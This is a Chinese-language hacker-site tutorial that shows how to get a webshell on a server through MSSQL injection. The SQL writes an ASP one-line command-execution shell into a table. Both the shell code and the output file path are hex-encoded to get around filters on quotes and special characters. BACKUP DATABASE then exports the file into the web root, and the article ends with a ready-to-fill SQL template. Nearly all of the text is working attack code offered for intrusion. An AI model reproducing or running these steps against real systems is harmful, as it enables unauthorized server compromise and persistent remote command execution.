黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客入侵 >> 文章正文
[推荐]Mssql备份得到shell之突破特殊字符
        ★★★★★
Mssql备份得到shell之突破特殊字符
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-10-9
1.插入数据

mssql注射使用Backup或makewebtask得到webshell,在写入webshell代码时,如果过滤了一些特殊字符,如" '等。我们先mssql分析器里“查询”: 

use pubs; <===使用数据哭pubs 
create table cmd (str image); <===建立个表cmd 一个属性为image的列 
insert into cmd (str) values ('<%execute request("cmd")&""%>') <===插入数据为 <%execute request("cmd")&""%> 
select * from cmd; <===查询输出cmd里的所有数据 

查询输出str为: 
0x3C256578656375746520726571756573742822636D642229262222253E 

我们不管插入str什么数据,在数据库里会自动转为hex编码,那么我们可以直接在上面的sql语句里insert into 的数据改为hex编码: 

use pubs 
create table cmd (str image) 
insert into cmd(str) values(0x3C256578656375746520726571756573742822636D642229262222253E) 
select * from cmd 

查询输出str为: 
0x3C256578656375746520726571756573742822636D642229262222253E 

什么2种方法得到的结果一样,但是第2种方法里插入的数据,就没有' " &等等。 

2.导出路径

常规的插入数据后导出webshell的语句为:

backup database model to disk='g:\wwwtest\l.asp';

显然导出路径里包涵了' : \等,我们照样可以使用hex编码来突破: 

declare @a sysname 
select @a=0x673A5C777777746573745C6C2E617370 <====0x673A5C777777746573745C6C2E617370为g:\wwwtest\l.asp对应的hex代码 
backup database pubs to disk=@a 

运行查询,可以成功导出webshell。

3.小结:

结合1,2我们可以得到完整的导出webshell的sql语句格式为:

use model 
create table cmd (str image) 
insert into cmd(str) values(0x***********) 
declare @a sysname select @a=0x********** backup database pubs to disk=@a; 

其实使用hex等编码的方法,在angel的文章〈饶过'(单引号)限制继续射入〉里提过,我只是照搬而已,你也可以搬到其他地方去拉:). 
文章录入:cainiaowang    责任编辑:sygbox 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886